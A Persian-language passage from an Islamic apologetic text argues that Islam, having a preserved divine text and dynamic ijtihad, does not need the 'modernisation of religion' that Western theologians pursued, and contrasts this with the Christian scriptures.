او می‏نویسد: «مسیحیت، ما را از ثمرات تمدن عهد باستان و بعدها از دستاوردهای تمدن اسلامی محروم كرد. فرهنگ و تمدن اسلامی در دوران حكمرانان مسلمان اندلس ‌ـ كه در اساس با ما خویشاوندتر از یونان و روم بوده و در معنا و مفهوم و ذوق و سلیقه گویاتر از آنها است ‌ـ، لگدمال شد؛ چرا این تمدن لگدمال شد؟ برای آنكه اصالت داشت... برای آنكه به زندگی آری می‏گفت...»187.
8ـ عدم حاجت به عصری كردن دین
نبود نص الهی در ادیان دیگر و تعارض آموزه‏های كتب مقدس با ره آوردهای علمی و حاجات عصری، اندیشمندان و متألهان غرب را بر آن داشت كه به عصری كردن دین، روی آورند؛ زیرا نه چشم‏پوشی از دستاوردهای نوین علمی و نیازهای عصری امكان‏پذیر می‏نمود و نه با تعارض می‏توان زیست و نه متون مقدس از چنان اعتبار و وثاقت و درونمایه‏ای بر خوردار بود كه بر علم پیشی گیرد. از این رو یا باید با دین معارض عقل و علم، خداحافظی كرد و یا برای جمع بین دینداری و زیستن در زمان حال، دین را به رنگ زمانه درآورد و این گزینه مقبول اندیشمندان غربی شد.
منظور از عصری كردن دین، جایگزین ساختن دین یا كتاب‏های آسمانی جدید و تغییر پیاپی آنها، همگام با تحولات عصری نیست؛ بلكه تغییر فهم و ارائه قرائت‏های گوناگون از دین به تناسب تحولات فكری، فرهنگی و تاریخی است.
به عبارت دیگر، اگر كتاب مقدس سخن خدا نباشد و نویسندگان آن برداشت خود از پیام الهی را نگاشته باشند، ‌ـ برداشتی كه تابع فرهنگ زمان و علوم و دانسته‏های آن زمان بوده و عاری از خطا و اشتباه نمی‏باشد ‌ـ هیچ دلیل منطقی بر تعبّد در برابر نص نخواهد ماند و هر كس می‏تواند دین را مطابق پسند و فرهنگ حاكم بر زمان خود ‌ـ بدون داوری و سنجش كتاب مقدس ‌ـ فهم و تفسیر كند؛ زیرا آنچه در كتاب مقدس است، كلام مستقیم الهی نیست؛ بلكه فهمی از آن است، بدون آنكه نویسنده آن و فهم او از پیام خدا، برتر از فهم انسان امروزی باشد.
چنین چیزی در نهایت به آنارشیزم معرفتی188 خواهد انجامید و راه هرگونه ارزش داوری189 در باب بسیاری از برداشت‏های گوناگون را مسدود خواهد ساخت؛ زیرا در اینجا نه می‏توان «نص محور»190 بود و نه «مؤلف محور»191، زیرا نصی الهی وجود ندارد و آنچه هست تفاسیر و تجربه‏های مؤلفان بشری است، و چون نص الهی در میان نیست، راهی به سوی فهم مراد شارع نیز وجود ندارد. پس تنها یك راه می‏ماند و آن «مفسّر محوری»192 است. بنابراین، دین امری كاملاً شخصی و عصری می‏شود؛ زیرا چنین دینی، چیزی جز معرفت دینی و برداشت مفسر نیست و هیچ نص و متن نهایی وجود ندارد كه بتوان معرفت دینی را با آن موزون كرد و مورد سنجش قرار داد.
اما در اسلام، مسئله كاملاً برعكس است. در دسترس بودن متن وحی، جامعیت دین، هماهنگی اسلام با علم و عقل، اجتهاد زنده و پویا، هماهنگی دین با فطرت ثابت بشری، وجود قوانین ثابت برای نیازهای ثابت و قوانین متغیر برای نیازهای متغیر و بسیاری از عوامل دیگر، حاجت به عصری شدن و لجام گسیختگی در تفسیر دین را مسدود می‏سازد. آنچه در اینجا لازم است تنها شناخت نیازهای نو شونده در طول زمان و عرضه آنها بر منابع دینی و گرفتن پاسخ از دین بر اساس متدلوژی فهم دین است. اگر چه در این عرصه نیز گاه برداشت‏های متفاوتی رخ می‏نماید؛ اما چند تفاوت اساسی در اینجا وجود دارد؛ از جمله:
1. وجود برداشت‏های متفاوت، تنها در پاره‏ای از آموزه‏های دینی؛ یعنی، برخی از امور ظنی است نه همه آنها و شامل امور یقینی و ضروری نمی‏شود.
2. نص معتبر و خدشه ناپذیری وجود دارد كه ملاك و معیار سنجش است و لاجرم هرگز به آنارشیزم معرفتی نمی‏انجامد.
افزون بر آنچه گذشت امتیازات دیگری برای اسلام قابل شمارش است؛ از جمله: مورد بشارت انبیای پیشین بودن و اعتبار پذیری ادیان الهی و پیامبران پیشین از اسلام و... كه به جهت اختصار از بررسی آنها خودداری می‏شود.193

در مورد سوالات احکام، جهت اطلاع از آخرین استفتائات با دفتر مرجع تقلید خود در تماس باشید